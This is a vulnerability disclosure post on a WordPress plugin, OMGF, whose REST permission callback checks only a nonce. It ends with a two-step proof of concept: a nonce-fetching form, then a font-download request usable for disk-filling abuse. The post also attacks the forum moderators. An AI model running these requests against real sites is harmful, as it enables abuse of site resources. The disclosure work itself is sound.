Misuse of WordPress REST API Permission Callback Leads to Privilege Escalation Vulnerability in OMGF
Last week someone posted on the support forum for the WordPress plugin OMGF on the support forum for the plugin on wordpress.org about a claimed security vulnerability in the plugin. A moderator deleted that posting. The plugin hasn’t been updated, so either there wasn’t a vulnerability or the moderator hasn’t made sure it was addressed. So deleting the topic seems problematic.
After being notified of the message about deleting that topic, we checked over the plugin for obvious security issues and we found that the plugin does contain a vulnerability. The vulnerability would allow anyone logged in to WordPress to utilize the plugin’s capability to download fonts. It looks like that could be abused to fill up all the disk space available to the website, by downloading many copies of a font and having them saved in directories with different names.
Privilege Escalation
The plugin handles downloading fonts through WordPress’ REST API. The registration for that, which is in the file /includes/api/class-download.php, includes a permission callback, which should limit what users can access that:
59 60 61 62 63 64 65 66 67 68 | register_rest_route( $this->namespace, '/' . $this->rest_base . $endpoint, [ [ 'methods' => 'GET', 'callback' => [$this, 'process'], 'permission_callback' => [$this, 'permissions_check'] ], 'schema' => null, |
The problem is that the permission callback function, permissions_check(), doesn’t do a permissions check, but does a nonce check, which is used to prevent cross-site request forgery (CSRF):
80 81 82 83 84 85 86 87 | public function permissions_check() { if (!isset($_REQUEST['_wpnonce'])) { return false; } return wp_verify_nonce($_REQUEST['_wpnonce'], 'wp_rest') > 0; } |
While a nonce check is not intended to handle checking permissions, it usually does the equivalent, since an attacker could not get access to a valid nonce, but in this case the nonce needed is accessible to anyone logged in to WordPress, as the proof of concept below confirms.
It appears that normally only users with the edit_pages capability are intended to be able to access that functionality:
55 | if (!OMGF_OPTIMIZE_EDIT_ROLES && current_user_can('edit_pages')) { |
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will install a font in to the directory /wp-content/uploads/omgf/proofofconcept/, when logged in to WordPress.
First get a valid REST nonce.
Replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="interval" value="60" /> <input type="hidden" name="_nonce" value="fb5bca0cbe" /> <input type="hidden" name="action" value="heartbeat" /> <input type="hidden" name="screen_id" value="all-in-one-seo_page_aioseo-tools" /> <input type="hidden" name="has_focus" value="false" /> <input type="submit" value="Submit" /> </form> </body>
Then use that in the second request that downloads the font.
http://[path to WordPress]/wp-json/omgf/v1/download/css?handle=proofofconcept&original_handle=roboto&family=roboto&_wpnonce=[REST nonce]